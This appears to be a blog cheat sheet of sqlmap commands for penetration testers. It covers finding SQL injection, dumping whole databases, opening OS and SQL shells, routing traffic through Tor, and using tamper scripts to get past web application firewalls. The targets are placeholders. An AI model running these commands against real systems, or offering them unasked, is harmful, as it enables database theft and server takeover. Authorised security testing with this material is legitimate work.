SQLMap Cheat Sheet
![SQLMap Cheat Sheet : The Lazy Man's Guide SQLMap cheat sheet](https://thedarksource.com/wp-content/uploads/2020/08/SQLMap-cheat-sheet.png)
Sqlmap is one of the best SQL injection tools. In this SQLMap cheat sheet, I will describe all the SQLMap commands that can be very helpful for test the SQL injection vulnerabilities.
I am sharing SQLMap cheat sheet created for my personal use, Hope the included payloads will help you with your penetration testing activities.
sqlmap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
Simple Usage
If you don’t know anything about the target site then use the normal command first, Observe if the sqlmap found something juicy for you
sqlmap -u “https://target_site.com/page/”
Automatic GET request parameter
sqlmap -u “https://target_site.com/page?p1=value1&p2=value2”
Specify the GET request parameters to Exploit
You can specify on which parameter you want to check or exploit the sql injection using just “-p” flag.
sqlmap -u “https://target_site.com/page?p1=value1&p2=value2” -p p1
Use POST requests (Test All parameters)
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2"
SQLMap Request file as input
You can specify a request file containing the HTTP request, You can get it quickly from BurpSuite.
sqlmap -r request.txt
Here you can specify the targeted parameter or sqlmap will recognize and will test for all the parameters found.
Use Authenticated Session With Cookie
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --cookie="Session_Cookie_Value"
Use Authenticated Session with Auth Headers
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --headers="Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l"
Basic Authentication
sqlmap -u “https://target_site.com/page/” --data="p1=value1&p2=value2" --auth-type=basic --auth-cred=username:password
Use Previously created Session as SQLmap input (-s)
If you got SQL injection positive somewhere, then sqlmap will automatically create a session file(.sqlite) for later use. Now, If you want to try some other commands later, you can use the session file directly (It will save your time to re-try all the possible payloads and identify the vulnerability and all.)
sqlmap -u “https://target_site.com/page?p1=value1" -s SESSION-FILE.sqlite --dbs
You can use this file from the home path of sqlmap tool’s output directory.
Post Exploitation Commands
If the SQL injection vulnerability observed positive then you can use the following commands to Exploit the SQL injection vulnerability.
List the Databases
sqlmap -u “https://target_site.com/page?p1=value1” --dbs
List Tables of Database TARGET_DB
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --tables
List Columns of Table TARGET_TABLE of Database TARGET_DB
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --columns
Dump Specific Data of Columns of Table TARGET_TABLE of Database TARGET_DB
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE -C "Col1,Col2" --dump
Fully Dump Table TARGET_TABLE of Database TARGET_DB
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB -T TARGET_TABLE --dump
Dump full Database
sqlmap -u “https://target_site.com/page?p1=value1” -D TARGET_DB --dump
Custom SQL query
sqlmap -u “https://target_site.com/page?p1=value1” --sql-query "SELECT * FROM TARGET_DB;"
Get OS Shell
sqlmap -u “https://target_site.com/page?p1=value1” --os-shell
Get SQL shell
sqlmap -u “https://target_site.com/page?p1=value1” --sqlmap-shell
SQLMap Proxy
Proxy through Burpsuite
sqlmap -u “https://target_site.com/page?p1=value1” --proxy="http://127.0.0.1:8080/"
Use Tor Socks5 proxy
sqlmap -u “https://target_site.com/page?p1=value1” --tor --tor-type=SOCKS5 --check-tor --dbs
Extra
Specify The Database Type
sqlmap -u “https://target_site.com/page?p1=value1” --dbms=mysql
You can use other DBMS types like MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, Informix, MariaDB, Percona, MemSQL, TiDB, CockroachDB, HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica, Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle, Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB, FrontBase, etc.
Attack Techniques
–technique Specify a letter or letters of BEUSTQ to control the exploit attempts:
- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries
- T: Time-based blind
- Q: Inline queries
sqlmap -u “https://target_site.com/page?p1=value1” --technique=BEUSTQ
Specify the Injection Techniques
You can specify the difficulty levels using two flags,
- –level = LEVEL Level of tests to perform (1-5, default 1)
- –risk=RISK Risk of tests to perform (0-3, default 1)
sqlmap -u “https://target_site.com/page?p1=value1” --risk=3 --level=5
Option: --risk
This option requires an argument that specifies the risk of tests to perform. There are three risk values.
–riks=1: 1 is default value which is for the majority of SQL injection points.
–riks=2: Adds to the default level the tests for heavy query time-based SQL injections
–riks=3: Value 3 adds also OR
-based SQL injection tests.
Option: --
level
When the value of --level
is >= 2 it tests also HTTP Cookie
header values. When this value is >= 3 it tests also HTTP User-Agent
and HTTP Referer
header value for SQL injections.
Use
Default Options for the process
Use –batch flag to use all the default options or used for non-interactive sessions. (By specifying –batch flag, sqlmap will not ask you for the (Y/N) choice rather then it will smartly choose according to the needs.)
sqlmap -u “https://target_site.com/page?p1=value1” --batch
–force-ssl flag
Force SQLmap to use SSL or TLS for its requests.
Tamper Scripts
You can use the tamper scripts to bypass WAF or to modify the payload. You can use multiple tampering scripts at once using –tamper flag.
sqlmap -u “https://target_site.com/page?p1=value1” --tamper=charencode
For General Perpose Usecase:
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
MSSQL:
--tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dsash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
MySQL:
--tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
OR You can create your own Custom Tamper script to overcome the issue of some type of Encrypted payloads like AES, DES, Hashing, etc. I have written a different article. Check out, Make Custom SQLMAP tamper script for encrypted data Testing
Conclusion:
SQLMap is a fantastic tool for SQL Injection attacks. By analyzing the above cheat sheet we can create a general-purpose command to use most useful flags in it,
sqlmap -u “https://target_site.com/page/”--proxy="http://127.0.0.1:8080/" --cookie=”SESSID=lred0jr6na1vmci;” --data=”p1=value1” -p p1 --level=5 --risk=3 --dbms=mysql --technique=BEUSTQ --force-ssl
As always I hope you found this SQLMap cheat sheet useful. Guys, feel free to show the post some love and share the cheat sheet to your friends and colleagues. I will also post in a detailed SQLMap tutorial soon.